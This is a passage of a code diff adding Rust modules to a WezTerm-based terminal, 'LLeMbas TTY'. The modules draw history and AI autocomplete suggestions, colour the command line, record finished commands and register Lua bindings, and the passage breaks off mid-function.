if let Some(lookups) = Lookups::for_pane(pane) {
for word in &parsed.words {
let value = match &word.value {
Some(value) => value,
None => continue,
};
let (kind, color) = match word.role {
Role::Command => (
Kind::Command,
if lookups.command_exists(value) {
colors.command
} else {
colors.unknown
},
),
Role::Argument | Role::Target => {
if !lookups.path_exists(value) {
continue;
}
(Kind::Word, colors.path)
}
Role::Option | Role::Assignment => continue,
};
for (i, token) in parsed.tokens.iter().enumerate() {
if token.kind == kind && token.start >= word.start && token.end <= word.end {
token_colors[i] = color;
}
}
}
}
let mut t = 0;
for piece in &zone.pieces {
while t < parsed.tokens.len() && parsed.tokens[t].end <= piece.start {
t += 1;
}
if t >= parsed.tokens.len() {
break;
}
let token = &parsed.tokens[t];
if piece.start < token.start {
continue;
}
if let Some(color) = token_colors[t] {
plan.row_mut(top + piece.row as StableRowIndex)
.colors
.push((piece.col, piece.width, color));
}
}
}
/// The rest of the line, offered after the cursor.
fn ghost(
pane: &Arc<dyn Pane>,
options: &state::Options,
zone: &Zone,
line: &Line,
cursor: &StableCursorPosition,
cols: usize,
plan: &mut Plan,
) {
let at_end = zone.at_end();
let typed = zone.typed();
let pane_id = pane.pane_id();
let mut found: Option<(String, suggest::Source)> = None;
if at_end && options.suggestions && !typed.trim().is_empty() {
if let Some(rest) = state::history_suggest(typed) {
found = Some((rest, suggest::Source::History));
}
}
// LLeMbas is asked only when the history has nothing, never for a private
// pane, and only for a shell on this machine: `decide` is the one place
// that says so, and why not when not.
if options.ai_complete {
let lookups = Lookups::for_pane(pane);
let conditions = Conditions {
on: options.ai_complete,
engine: !options.cli.is_empty(),
private: state::is_private(pane_id),
this_machine: lookups.is_some(),
at_end,
history: found.is_some(),
};
match (decide(&conditions, typed), lookups) {
(Ok(line), Some(lookups)) => {
if let Some(rest) = complete::suggestion(pane, line, options, lookups.dir()) {
found = Some((rest, suggest::Source::Ai));
}
}
(Err(why), _) => complete::skipped(why),
(Ok(_), None) => {}
}
}
if !at_end {
return;
}
let (rest, source) = match found {
Some(found) => found,
None => return,
};
let rest = match suggest::clean_rest(&rest) {
Some(rest) => rest,
None => return,
};
let shown = suggest::fit(&rest, blank_room(line, cursor.x, cols), &char_width);
if shown.is_empty() {
return;
}
let mut attr = CellAttributes::default();
match options.colors.ghost {
Some(color) => {
attr.set_foreground(color);
}
None => {
attr.set_intensity(Intensity::Half);
}
}
// what LLeMbas offered is told apart from what the history did
if source == suggest::Source::Ai {
attr.set_italic(true);
}
plan.row_mut(cursor.y).texts.push((cursor.x, shown, attr));
plan.suggestion = Some(rest);
}
/// A standing word that must cover nothing (a command waits at the prompt):
/// dimmed, at the right of the cursor's row when all of it fits beside what
/// the row shows; else on the row below when that row is empty; else cut,
/// beside what the row shows; else not at all.
fn place_gentle(
text: &str,
line: &Line,
below: Option<&Line>,
row: StableRowIndex,
taken: usize,
cols: usize,
colors: &state::Colors,
plan: &mut Plan,
) {
let mut attr = CellAttributes::default();
match colors.ghost {
Some(color) => {
attr.set_foreground(color);
}
None => {
attr.set_intensity(Intensity::Half);
}
}
let wanted = text_width(text);
let free = cols.saturating_sub(used_cols(line).max(taken) + 2);
let (row, shown) = if free >= wanted {
(row, text.to_string())
} else if below.map(used_cols) == Some(0) && cols > 2 {
(row + 1, suggest::fit(text, cols - 1, &char_width))
} else if free >= 12 {
(row, suggest::fit(text, free, &char_width))
} else {
return;
};
if shown.is_empty() {
return;
}
let col = cols.saturating_sub(text_width(&shown));
plan.row_mut(row).texts.push((col, shown, attr));
}
/// A word from the terminal, at the right of a row.
fn place_notice(
text: &str,
line: Option<&Line>,
row: StableRowIndex,
taken: usize,
cols: usize,
colors: &state::Colors,
plan: &mut Plan,
) {
let mut attr = CellAttributes::default();
attr.set_italic(true);
if let Some(color) = colors.notice {
attr.set_foreground(color);
}
let used = line.map(used_cols).unwrap_or(0).max(taken);
let free = cols.saturating_sub(used + 2);
let wanted = text_width(text);
let room = if free >= wanted.min(16) {
free
} else {
// no room beside what the row shows: over its end, set apart
attr.set_reverse(true);
cols.saturating_sub(1)
};
let shown = suggest::fit(text, room, &char_width);
if shown.is_empty() {
return;
}
let col = cols.saturating_sub(text_width(&shown));
plan.row_mut(row).texts.push((col, shown, attr));
}
/// Does an input line stand in the pane that nothing follows, and does it
/// show something? Asked when the cursor's own row holds no input: a line
/// carried on over rows, or none at all.
fn input_stands(pane: &Arc<dyn Pane>) -> bool {
let zones = match pane.get_semantic_zones() {
Ok(zones) => zones,
Err(_) => return false,
};
match zones.last() {
Some(zone) if zone.semantic_type == SemanticType::Input => {
!super::record::zone_text(pane, zone).trim().is_empty()
}
_ => false,
}
}
fn compute(
pane: &Arc<dyn Pane>,
active: bool,
options: &state::Options,
notice: Option<String>,
hint: Option<state::Hint>,
cursor: &StableCursorPosition,
dims: &RenderableDimensions,
) -> Option<Plan> {
let mut plan = Plan::default();
let alt = pane.is_alt_screen_active();
let bottom = dims.physical_top + (dims.viewport_rows as StableRowIndex - 1).max(0);
let around = MAX_ROWS as StableRowIndex;
let mut cursor_line: Option<Line> = None;
let mut below_line: Option<Line> = None;
let mut taken = 0;
if !alt {
let first = (cursor.y - around).max(dims.scrollback_top);
let (top, lines) = pane.get_lines(first..cursor.y + around + 1);
let at = cursor.y - top;
if at >= 0 && (at as usize) < lines.len() {
let at = at as usize;
// The input mark: whether anything stands on the input line of
// the prompt the pane's status record is of. LLeMbas places a
// command only at an empty one.
let marking = if options.input_mark {
state::status_at_prompt(pane.pane_id())
} else {
None
};
let drawing = options.suggestions || options.highlight || options.ai_complete;
let rows: Vec<zone::Row> = if drawing || marking.is_some() {
lines.iter().map(row_of).collect()
} else {
Vec::new()
};
if let Some(status) = &marking {
let typed = zone::row_has_input(&rows[at]) || input_stands(pane);
state::mark_input(pane.pane_id(), status, typed);
}
if drawing {
if let Some(zone) = zone::input_zone(&rows, at, cursor.x, dims.cols, MAX_ROWS) {
if options.highlight {
highlight(pane, &options.colors, &zone, top, &mut plan);
}
if active && (options.suggestions || options.ai_complete) {
ghost(
pane, options, &zone, &lines[at], cursor, dims.cols, &mut plan,
);
}
}
}
if let Some(row) = plan.rows.iter().find(|r| r.row == cursor.y) {
for (col, text, _) in &row.texts {
taken = taken.max(col + text_width(text));
}
}
taken = taken.max(cursor.x + 1);
cursor_line = Some(lines[at].clone());
if cursor.y < bottom {
below_line = lines.get(at + 1).cloned();
}
}
}
// A word in passing is shown first; the standing word is there again
// when its moment is over. A gentle one never covers anything, so in a
// full-screen program it is simply not drawn.
let (notice, gentle) = match (notice, hint) {
(Some(text), _) => (Some(text), None),
(None, Some(hint)) if hint.gentle => (None, Some(hint.text)),
(None, Some(hint)) => (Some(hint.text), None),
(None, None) => (None, None),
};
if let (Some(text), Some(line)) = (&gentle, &cursor_line) {
place_gentle(
text,
line,
below_line.as_ref(),
cursor.y,
taken,
dims.cols,
&options.colors,
&mut plan,
);
}
if let Some(text) = notice {
if alt || cursor_line.is_none() {
let (top, lines) = pane.get_lines(bottom..bottom + 1);
let line = if top == bottom { lines.first() } else { None };
place_notice(
&text,
line,
bottom,
0,
dims.cols,
&options.colors,
&mut plan,
);
} else {
place_notice(
&text,
cursor_line.as_ref(),
cursor.y,
taken,
dims.cols,
&options.colors,
&mut plan,
);
}
}
if plan.rows.is_empty() {
return None;
}
plan.rows.sort_by_key(|r| r.row);
Some(plan)
}
/// What is drawn differently in this pane now; `None` for nothing, which is
/// the answer for every pane until the layer turned something on.
pub fn plan_for(pane: &Arc<dyn Pane>, active: bool) -> Option<Arc<Plan>> {
let options = state::options();
let pane_id = pane.pane_id();
let notice = state::notice(pane_id);
let hint = state::hint(pane_id);
let marking = options.input_mark && state::status_at_prompt(pane_id).is_some();
if !(options.suggestions || options.highlight || options.ai_complete)
&& notice.is_none()
&& hint.is_none()
&& !marking
{
return None;
}
// The pane itself, never something drawn over it (search, copy mode, the
// ask line): those draw their own.
let real = Mux::try_get()?.get_pane(pane_id)?;
if Arc::as_ptr(&real) as *const () != Arc::as_ptr(pane) as *const () {
return None;
}
let cursor = pane.get_cursor_position();
let dims = pane.get_dimensions();
let key = PlanKey {
seqno: pane.get_current_seqno(),
x: cursor.x,
y: cursor.y,
cols: dims.cols,
top: dims.physical_top,
active,
generation: state::generation(),
};
if let Some((known, plan)) = PLANS.lock().get(&pane_id) {
if *known == key {
return plan.clone();
}
}
let plan = compute(pane, active, &options, notice, hint, &cursor, &dims).map(Arc::new);
let mut plans = PLANS.lock();
if plans.len() > 256 {
plans.clear();
}
plans.insert(pane_id, (key, plan.clone()));
plan
}
/// Hand a pane's lines to the painter, with what the terminal draws on them.
/// Called where a pane is painted, in place of the pane's own `with_lines_mut`.
pub fn with_lines_mut(
pane: &Arc<dyn Pane>,
active: bool,
lines: Range<StableRowIndex>,
with_lines: &mut dyn WithPaneLines,
) {
let plan = match plan_for(pane, active) {
Some(plan) => plan,
None => {
pane.with_lines_mut(lines, with_lines);
return;
}
};
struct Decorated<'a> {
with_lines: &'a mut dyn WithPaneLines,
plan: Arc<Plan>,
}
impl<'a> WithPaneLines for Decorated<'a> {
fn with_lines_mut(&mut self, first_row: StableRowIndex, lines: &mut [&mut Line]) {
// Copies of the rows that are drawn differently; every other row
// is handed on as it is.
let mut changed: Vec<(usize, Line)> = Vec::new();
for row in &self.plan.rows {
let offset = row.row - first_row;
if offset < 0 || offset as usize >= lines.len() {
continue;
}
let idx = offset as usize;
let mut line: Line = (*lines[idx]).clone();
if !row.colors.is_empty() {
let cells = line.cells_mut_for_attr_changes_only();
for (col, width, color) in &row.colors {
for c in *col..(*col + *width) {
if let Some(cell) = cells.get_mut(c) {
cell.attrs_mut().set_foreground(*color);
}
}
}
}
for (col, text, attr) in &row.texts {
line.overlay_text_with_attribute(*col, text, attr.clone(), SEQ_ZERO);
}
line.clear_appdata();
changed.push((idx, line));
}
if changed.is_empty() {
self.with_lines.with_lines_mut(first_row, lines);
return;
}
let mut ours = changed
.iter_mut()
.map(|(idx, line)| (*idx, line))
.peekable();
let mut refs: Vec<&mut Line> = Vec::with_capacity(lines.len());
for (idx, line) in lines.iter_mut().enumerate() {
let replaced = match ours.peek() {
Some((at, _)) => *at == idx,
None => false,
};
if replaced {
if let Some((_, line)) = ours.next() {
refs.push(line);
continue;
}
}
refs.push(&mut **line);
}
self.with_lines.with_lines_mut(first_row, &mut refs);
}
}
pane.with_lines_mut(lines, &mut Decorated { with_lines, plan });
}
/// A key that takes the suggestion shown after the cursor: Right or End takes
/// all of it, Alt+Right one word. What is taken is sent to the shell as if it
/// were typed; nothing runs. `false` when there is no suggestion, or the key
/// is another: then the key goes where it always went.
pub fn take_suggestion(
pane: &Arc<dyn Pane>,
key: &::window::KeyCode,
mods: ::window::Modifiers,
) -> bool {
use ::window::{KeyCode, Modifiers};
let mods = mods.remove_positional_mods();
let arrow = matches!(key, KeyCode::RightArrow);
let whole = (arrow || matches!(key, KeyCode::End)) && mods == Modifiers::NONE;
let word = arrow && mods == Modifiers::ALT;
if !whole && !word {
return false;
}
let plan = match plan_for(pane, true) {
Some(plan) => plan,
None => return false,
};
let rest = match &plan.suggestion {
Some(rest) => rest,
None => return false,
};
let text = if whole {
rest.as_str()
} else {
suggest::first_word(rest)
};
if text.is_empty() {
return false;
}
pane.writer().write_all(text.as_bytes()).is_ok()
}
+281
View File
@@ -0,0 +1,281 @@
//! LLeMbas TTY: `wezterm.llembas`, through which the Lua layer asks the
//! terminal for what only the terminal can draw. The layer looks for each
//! function before calling it, so a function added here later is simply not
//! used by an older layer, and a layer run where this is missing (the mux
//! server, the tests) does without.
use super::state::{self, Color, Colors, Options};
use crate::scripting::guiwin::GuiWin;
use crate::termwindow::TermWindowNotif;
use config::lua::get_or_create_sub_module;
use mlua::{Lua, Table, UserDataRef, Value};
use mux::{Mux, MuxNotification};
use mux_lua::MuxPane;
use std::time::Duration;
use termwiz::color::ColorAttribute;
use window::WindowOps;
/// A colour as the layer gives it: a number of the palette, `'#rrggbb'`, or
/// false for none. Anything else is none: the layer has checked it already.
fn color(value: Value) -> Color {
match value {
Value::Integer(n) if (0..=255).contains(&n) => Some(ColorAttribute::PaletteIndex(n as u8)),
Value::Number(n) if n >= 0.0 && n <= 255.0 => Some(ColorAttribute::PaletteIndex(n as u8)),
Value::String(s) => {
let s = s.to_str().ok()?;
let hex = s.strip_prefix('#')?;
if hex.len() != 6 || !hex.is_ascii() {
return None;
}
let r = u8::from_str_radix(&hex[0..2], 16).ok()?;
let g = u8::from_str_radix(&hex[2..4], 16).ok()?;
let b = u8::from_str_radix(&hex[4..6], 16).ok()?;
Some(ColorAttribute::TrueColorWithDefaultFallback(
(r, g, b).into(),
))
}
_ => None,
}
}
fn colors(table: Option<Table>) -> mlua::Result<Colors> {
let table = match table {
Some(table) => table,
None => return Ok(Colors::default()),
};
Ok(Colors {
prefix: color(table.get("prefix")?),
ghost: color(table.get("ghost")?),
notice: color(table.get("notice")?),
command: color(table.get("command")?),
unknown: color(table.get("unknown")?),
option: color(table.get("option")?),
string: color(table.get("string")?),
variable: color(table.get("variable")?),
operator: color(table.get("operator")?),
comment: color(table.get("comment")?),
path: color(table.get("path")?),
})
}
pub fn register(lua: &Lua) -> anyhow::Result<()> {
let module = get_or_create_sub_module(lua, "llembas")?;
// configure { suggestions =, highlight =, ai_complete =, cli =, ac_model =,
// ac_timeout_ms =, history =, history_max =, colors = { … } }
module.set(
"configure",
lua.create_function(|_, table: Table| {
let options = Options {
suggestions: table
.get::<_, Option<bool>>("suggestions")?
.unwrap_or(false),
highlight: table.get::<_, Option<bool>>("highlight")?.unwrap_or(false),
ai_complete: table
.get::<_, Option<bool>>("ai_complete")?
.unwrap_or(false),
cli: table.get::<_, Option<String>>("cli")?.unwrap_or_default(),
ac_model: table
.get::<_, Option<String>>("ac_model")?
.unwrap_or_default()
.chars()
.filter(|c| !c.is_control())
.take(128)
.collect(),
ac_timeout_ms: table.get::<_, Option<u64>>("ac_timeout_ms")?.unwrap_or(0),
ac_debug: table.get::<_, Option<bool>>("ac_debug")?.unwrap_or(false),
input_mark: table.get::<_, Option<bool>>("input_mark")?.unwrap_or(false),
history: table.get::<_, Option<bool>>("history")?.unwrap_or(false),
history_max: table.get::<_, Option<usize>>("history_max")?.unwrap_or(0),
colors: colors(table.get::<_, Option<Table>>("colors")?)?,
};
let old = state::options();
if options != old {
// another model, another engine: a line may be asked about
// again; and the first answer after such a change may take
// longer (the model may have to be loaded)
let cold = (options.ai_complete && !old.ai_complete)
|| options.ac_model != old.ac_model
|| options.cli != old.cli;
super::complete::forget_answers(cold);
state::set_options(options);
}
Ok(())
})?,
)?;
// ask_line(window, pane, { prefix =, event = }): turn the pane's line into
// the ask line, or back when it is one already. The line the person sends
// comes back as the event, with the window, the pane and the line.
module.set(
"ask_line",
lua.create_function(
|_, (window, pane, table): (UserDataRef<GuiWin>, UserDataRef<MuxPane>, Table)| {
let args = super::ask::AskArgs {
prefix: table
.get::<_, Option<String>>("prefix")?
.unwrap_or_default(),
event: table.get::<_, String>("event")?,
};
let pane_id = pane.0;
window
.window
.notify(TermWindowNotif::Apply(Box::new(move |term_window| {
super::ask::toggle(term_window, pane_id, args);
})));
Ok(true)
},
)?,
)?;
// notice(pane, text): a word for the person at the cursor's row of the
// pane, for a moment. It takes no key and nothing has to be dismissed.
module.set(
"notice",
lua.create_function(|_, (pane, text): (UserDataRef<MuxPane>, String)| {
let pane_id = pane.0;
let text: String = text.chars().filter(|c| !c.is_control()).take(200).collect();
state::set_notice(pane_id, text);
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
// and the pane is drawn again when its time is over
promise::spawn::spawn(async move {
smol::Timer::after(state::NOTICE_TIME + Duration::from_millis(50)).await;
state::changed();
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
})
.detach();
Ok(true)
})?,
)?;
// hint(pane id, text or nil, gentle, source pane id or nil): a word that
// stands at the cursor's row of the pane until it is taken away (nil), or
// until the pane it tells of (the display) is gone. Drawn, never written.
module.set(
"hint",
lua.create_function(
|_,
(pane_id, text, gentle, source): (
usize,
Option<String>,
Option<bool>,
Option<usize>,
)| {
let text: String = text
.unwrap_or_default()
.chars()
.filter(|c| !c.is_control())
.take(200)
.collect();
let hint = if text.trim().is_empty() {
None
} else {
Some(state::Hint {
text,
gentle: gentle.unwrap_or(false),
source,
})
};
state::set_hint(pane_id, hint);
if Mux::try_get().is_some() {
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
}
Ok(true)
},
)?,
)?;
// status(pane id, id or nil, seq, state, directory): where the shell of a
// pane stands, as its status record said; nil when the layer no longer
// follows it. With it the terminal writes the pane's input mark.
module.set(
"status",
lua.create_function(
|_,
(pane_id, id, seq, state_name, dir): (
usize,
Option<String>,
Option<u64>,
Option<String>,
Option<String>,
)| {
let status = match (id, seq, dir) {
(Some(id), Some(seq), Some(dir))
if llembas_line::mark::valid_id(&id) && dir.starts_with('/') =>
{
Some(state::PaneStatus {
id,
seq,
prompt: state_name.as_deref() == Some("prompt"),
dir: dir.into(),
})
}
_ => None,
};
state::set_status(pane_id, status);
if Mux::try_get().is_some() {
Mux::notify_from_any_thread(MuxNotification::PaneOutput(pane_id));
}
Ok(true)
},
)?,
)?;
// complete_status(): the terminal's side of the AI's autocomplete in
// words - the engine and the model it would use, the last attempts and
// what each gave. Lines of plain text.
module.set(
"complete_status",
lua.create_function(|_, _: ()| Ok(super::complete::status()))?,
)?;
// data_dir(): the terminal's own data directory, the person's alone.
module.set(
"data_dir",
lua.create_function(|_, _: ()| Ok(config::DATA_DIR.to_string_lossy().into_owned()))?,
)?;
// set_private(pane id, on): a private pane's commands are not remembered
// and nothing of it is sent to LLeMbas for a completion.
module.set(
"set_private",
lua.create_function(|_, (pane_id, on): (usize, bool)| {
state::set_private(pane_id, on);
Ok(())
})?,
)?;
// command_ended(pane, exit status or -1, directory): the shell said that a
// command ended in this pane. The terminal remembers it for its suggestions.
module.set(
"command_ended",
lua.create_function(
|_, (pane, exit, cwd): (UserDataRef<MuxPane>, i64, Option<String>)| {
let exit = if (0..=255).contains(&exit) {
exit as i32
} else {
llembas_line::history::NO_EXIT
};
let cwd: String = cwd
.unwrap_or_default()
.chars()
.filter(|c| !c.is_control())
.take(1024)
.collect();
super::record::command_ended(pane.0, exit, cwd);
Ok(())
},
)?,
)?;
// clear_history(): forget every command the terminal remembered.
module.set(
"clear_history",
lua.create_function(|_, _: ()| {
state::history_clear();
Ok(())
})?,
)?;
Ok(())
}
+29
View File
@@ -0,0 +1,29 @@
//! LLeMbas TTY: the part of LLeMbas that the terminal itself draws.
//!
//! The LLeMbas layer is Lua (`llembas/lua/`, built in by `config::llembas`).
//! What Lua cannot do is draw on a pane or take its keys, and that is here:
//!
//! - [`ask`]: the ask line, in place of the shell's own line;
//! - [`decorate`]: what is drawn on the shell's input line when a pane is
//! painted - the suggestion after the cursor, the colours of the command
//! line, a word from the terminal - and the key that takes a suggestion;
//! - [`record`]: remembering a command that ran, for the suggestions;
//! - [`complete`]: asking LLeMbas for the rest of a line;
//! - [`lua`]: `wezterm.llembas`, through which the layer asks for it;
//! - [`state`]: what the layer said is on, and what outlives one pane.
//!
//! What is decided about a line of text (the editor, the input line as read
//! from the screen, history, suggestions, colours) is the crate
//! `llembas-line`, which knows nothing of a window and is where the tests
//! are. The files here are the thin part between it and the terminal.
//!
//! Nothing here starts a process, reads a pane or writes a file until the
//! layer said what is on. With nothing on (no layer, or a terminal started
//! with `--skip-config`) a pane is painted exactly as upstream paints it.
pub mod ask;
pub mod complete;
pub mod decorate;
pub mod lua;
pub mod record;
pub mod state;
+112
View File
@@ -0,0 +1,112 @@
//! LLeMbas TTY: remembering a command that ran, for the suggestions.
//!
//! The shell integration says that a command ended (the pane's status record,
//! which the layer reads). The command's text is then read from the pane's
//! own screen: the input line the shell marked. Nothing typed is followed,
//! so nothing typed while a program asked for a password can be taken: such
//! text is never on the screen.
use super::state;
use llembas_line::history::Entry;
use mux::pane::{Pane, PaneId};
use mux::Mux;
use std::sync::Arc;
use std::time::{Duration, SystemTime, UNIX_EPOCH};
use termwiz::cell::SemanticType;
use wezterm_term::{SemanticZone, StableRowIndex};
/// An input line of more rows than this is no command to remember.
const MAX_ROWS: StableRowIndex = 8;
/// The columns of a zone on one of its rows.
fn cols_for_row(zone: &SemanticZone, row: StableRowIndex) -> std::ops::Range<usize> {
if row < zone.start_y || row > zone.end_y {
0..0
} else if zone.start_y == zone.end_y {
zone.start_x.min(zone.end_x)..zone.start_x.max(zone.end_x).saturating_add(1)
} else if row == zone.end_y {
0..zone.end_x.saturating_add(1)
} else if row == zone.start_y {
zone.start_x..usize::MAX
} else {
0..usize::MAX
}
}
/// The text of a zone: its rows joined, with a line break where a row ended
/// and was not carried on by wrapping.
pub(super) fn zone_text(pane: &Arc<dyn Pane>, zone: &SemanticZone) -> String {
let (top, lines) = pane.get_lines(zone.start_y..zone.end_y + 1);
let mut text = String::new();
let mut wrapped = true;
for (i, line) in lines.iter().enumerate() {
let row = top + i as StableRowIndex;
let cols = cols_for_row(zone, row);
if cols.start >= cols.end {
continue;
}
if !wrapped && !text.is_empty() {
text.push('\n');
}
text.push_str(&line.columns_as_str(cols));
wrapped = line.last_cell_was_wrapped();
}
text.trim_end().to_string()
}
fn remember(pane_id: PaneId, exit: i32, cwd: String) {
if !state::options().history || state::is_private(pane_id) {
return;
}
let pane = match Mux::try_get().and_then(|mux| mux.get_pane(pane_id)) {
Some(pane) => pane,
None => return,
};
if pane.is_alt_screen_active() {
return;
}
let zones = match pane.get_semantic_zones() {
Ok(zones) => zones,
Err(_) => return,
};
// The command that ended is the last input line that something follows:
// its output, or the next prompt. (An input line that nothing follows is
// one still being typed.)
let mut found = None;
for (i, zone) in zones.iter().enumerate().rev() {
if zone.semantic_type == SemanticType::Input && i + 1 < zones.len() {
found = Some(*zone);
break;
}
}
let zone = match found {
Some(zone) => zone,
None => return,
};
if zone.end_y - zone.start_y >= MAX_ROWS
|| !state::first_time(pane_id, zone.start_y, zone.start_x)
{
return;
}
let command = zone_text(&pane, &zone);
let time = SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|d| d.as_secs())
.unwrap_or(0);
state::history_add(Entry {
command,
exit,
cwd,
time,
});
}
/// A command ended in this pane. Its text is read a moment later, when the
/// shell has drawn its next prompt, so that the line is seen to be complete.
pub fn command_ended(pane_id: PaneId, exit: i32, cwd: String) {
promise::spawn::spawn(async move {
smol::Timer::after(Duration::from_millis(150)).await;
remember(pane_id, exit, cwd);
})
.detach();
}
+373
View File
@@ -0,0 +1,373 @@
//! LLeMbas TTY: what the layer said is on, and what outlives one pane.
use llembas_line::history::{self, Entry, History};
use mux::pane::PaneId;
use parking_lot::Mutex;
use std::collections::{HashMap, HashSet};
use std::path::PathBuf;
use std::sync::atomic::{AtomicU64, Ordering};
use std::time::{Duration, Instant};
use termwiz::color::ColorAttribute;
use wezterm_term::StableRowIndex;
/// How long a word from the terminal stays at the cursor's row.
pub const NOTICE_TIME: Duration = Duration::from_secs(4);
/// A colour of the layer's options: `None` leaves a cell as it was.
pub type Color = Option<ColorAttribute>;
/// The colours the terminal's own drawing uses. They come from the layer's
/// options (`colors`), where each is a number of the colour scheme's palette
/// by default, so that every one follows the theme.
#[derive(Debug, Clone, PartialEq)]
pub struct Colors {
pub prefix: Color,
pub ghost: Color,
pub notice: Color,
pub command: Color,
pub unknown: Color,
pub option: Color,
pub string: Color,
pub variable: Color,
pub operator: Color,
pub comment: Color,
pub path: Color,
}
impl Default for Colors {
fn default() -> Self {
// the same as M.COLORS in llembas/lua/llembas/core.lua
let palette = |n: u8| Some(ColorAttribute::PaletteIndex(n));
Colors {
prefix: palette(6),
ghost: palette(8),
notice: palette(3),
command: palette(2),
unknown: None,
option: None,
string: palette(3),
variable: palette(6),
operator: palette(5),
comment: palette(8),
path: palette(4),
}
}
}
/// What the layer said is on. Until it says anything, nothing is: a terminal
/// started without the layer draws nothing of ours.
#[derive(Debug, Clone, Default, PartialEq)]
pub struct Options {
pub suggestions: bool,
pub highlight: bool,
pub ai_complete: bool,
/// The path of the LLeMbas CLI; empty when there is none.
pub cli: String,
/// The autocomplete model chosen in the terminal; empty for the engine's own.
pub ac_model: String,
/// How long the engine is given for a completion; 0 for the default.
pub ac_timeout_ms: u64,
/// The engine knows `--debug`: it is asked to say its decisions.
pub ac_debug: bool,
/// Write the input mark of panes whose status record is known (AI is on).
pub input_mark: bool,
pub history: bool,
pub history_max: usize,
pub colors: Colors,
}
/// The terminal's own history of commands, once it was needed.
struct Commands {
history: History,
max: usize,
}
lazy_static::lazy_static! {
static ref OPTIONS: Mutex<Options> = Mutex::new(Options::default());
/// Earlier questions of the ask line, for this run of the terminal only.
static ref QUESTIONS: Mutex<Vec<String>> = Mutex::new(Vec::new());
/// Panes the person marked private: nothing of them is remembered or sent.
static ref PRIVATE: Mutex<HashSet<PaneId>> = Mutex::new(HashSet::new());
/// A word for the person at the cursor's row of a pane, and until when.
static ref NOTICES: Mutex<HashMap<PaneId, (String, Instant)>> = Mutex::new(HashMap::new());
/// A word that stands at the cursor's row of a pane until it is taken away.
static ref HINTS: Mutex<HashMap<PaneId, Hint>> = Mutex::new(HashMap::new());
/// Where the shell of a pane stands, as its status record said.
static ref STATUS: Mutex<HashMap<PaneId, PaneStatus>> = Mutex::new(HashMap::new());
/// The input mark last written for a pane: the record's id and seq, typed.
static ref MARKS: Mutex<HashMap<PaneId, (String, u64, bool)>> = Mutex::new(HashMap::new());
static ref COMMANDS: Mutex<Option<Commands>> = Mutex::new(None);
/// Where the command last remembered for a pane stood on its screen.
static ref REMEMBERED: Mutex<HashMap<PaneId, (StableRowIndex, usize)>> =
Mutex::new(HashMap::new());
}
/// Goes up whenever something changed that what is drawn depends on and the
/// pane's own content does not show: an option, a notice, the history, an
/// answer that arrived.
static GENERATION: AtomicU64 = AtomicU64::new(0);
pub fn generation() -> u64 {
GENERATION.load(Ordering::Relaxed)
}
pub fn changed() {
GENERATION.fetch_add(1, Ordering::Relaxed);
}
pub fn options() -> Options {
OPTIONS.lock().clone()
}
pub fn set_options(options: Options) {
*OPTIONS.lock() = options;
changed();
}
pub fn questions() -> Vec<String> {
QUESTIONS.lock().clone()
}
pub fn remember_question(line: &str) {
llembas_line::editor::remember(&mut QUESTIONS.lock(), line);
}
pub fn set_private(pane_id: PaneId, on: bool) {
let mut private = PRIVATE.lock();
if on {
private.insert(pane_id);
} else {
private.remove(&pane_id);
}
drop(private);
changed();
}
pub fn is_private(pane_id: PaneId) -> bool {
PRIVATE.lock().contains(&pane_id)
}
pub fn set_notice(pane_id: PaneId, text: String) {
NOTICES
.lock()
.insert(pane_id, (text, Instant::now() + NOTICE_TIME));
changed();
}
/// The word for a pane, while its time lasts.
pub fn notice(pane_id: PaneId) -> Option<String> {
let mut notices = NOTICES.lock();
let live = match notices.get(&pane_id) {
Some((text, until)) if Instant::now() < *until => Some(text.clone()),
Some(_) => None,
None => return None,
};
if live.is_none() {
notices.remove(&pane_id);
}
live
}
/// Where the shell of a pane stands: its status record's id and seq, whether
/// it is at a prompt, and the directory the records are kept in.
#[derive(Debug, Clone, PartialEq)]
pub struct PaneStatus {
pub id: String,
pub seq: u64,
pub prompt: bool,
pub dir: PathBuf,
}
/// The layer says where a pane's shell stands, or that it no longer knows.
pub fn set_status(pane_id: PaneId, status: Option<PaneStatus>) {
let mut all = STATUS.lock();
if all.get(&pane_id) == status.as_ref() {
return;
}
match status {
Some(status) => {
if all.len() > 512 {
all.clear();
}
all.insert(pane_id, status);
}
None => {
if let Some(old) = all.remove(&pane_id) {
let _ = llembas_line::mark::remove(&old.dir, pane_id);
}
MARKS.lock().remove(&pane_id);
}
}
drop(all);
// the pane is looked at again: its input mark is of this record now
changed();
}
/// The status of a pane whose shell is at a prompt.
pub fn status_at_prompt(pane_id: PaneId) -> Option<PaneStatus> {
STATUS
.lock()
.get(&pane_id)
.filter(|status| status.prompt)
.cloned()
}
/// Write the input mark of a pane when what it says changed: whether
/// anything stands on the input line of the prompt this record is of.
pub fn mark_input(pane_id: PaneId, status: &PaneStatus, typed: bool) {
let now = (status.id.clone(), status.seq, typed);
let mut marks = MARKS.lock();
if marks.get(&pane_id) == Some(&now) {
return;
}
match llembas_line::mark::write(&status.dir, pane_id, &status.id, status.seq, typed) {
Ok(()) => {
if marks.len() > 512 {
marks.clear();
}
marks.insert(pane_id, now);
}
Err(err) => {
// no mark is no harm: LLeMbas then reads the prompt from the screen
log::debug!("LLeMbas: the input mark could not be written: {:#}", err);
marks.remove(&pane_id);
}
}
}
/// A word that stands at the cursor's row of a pane for as long as what it
/// says holds: LLeMbas waits for an answer, or a command that LLeMbas placed
/// at the prompt waits for the person. The layer sets it and takes it away.
#[derive(Debug, Clone, PartialEq)]
pub struct Hint {
pub text: String,
/// Drawn dimmed and only where nothing else is: beside what the row
/// shows, or on the empty row below. It never covers a cell that shows
/// something.
pub gentle: bool,
/// The pane whose state it tells (the display). When that pane is gone,
/// so is the hint.
pub source: Option<PaneId>,
}
/// Set the standing word of a pane, or take it away.
pub fn set_hint(pane_id: PaneId, hint: Option<Hint>) {
let mut hints = HINTS.lock();
let same = hints.get(&pane_id) == hint.as_ref();
if same {
return;
}
match hint {
Some(hint) => {
if hints.len() > 256 {
hints.clear();
}
hints.insert(pane_id, hint);
}
None => {
hints.remove(&pane_id);
}
}
drop(hints);
changed();
}
/// The standing word of a pane, while the pane it tells of is there.
pub fn hint(pane_id: PaneId) -> Option<Hint> {
let mut hints = HINTS.lock();
let hint = hints.get(&pane_id)?.clone();
if let Some(source) = hint.source {
let there = match mux::Mux::try_get() {
Some(mux) => mux.get_pane(source).is_some(),
None => false,
};
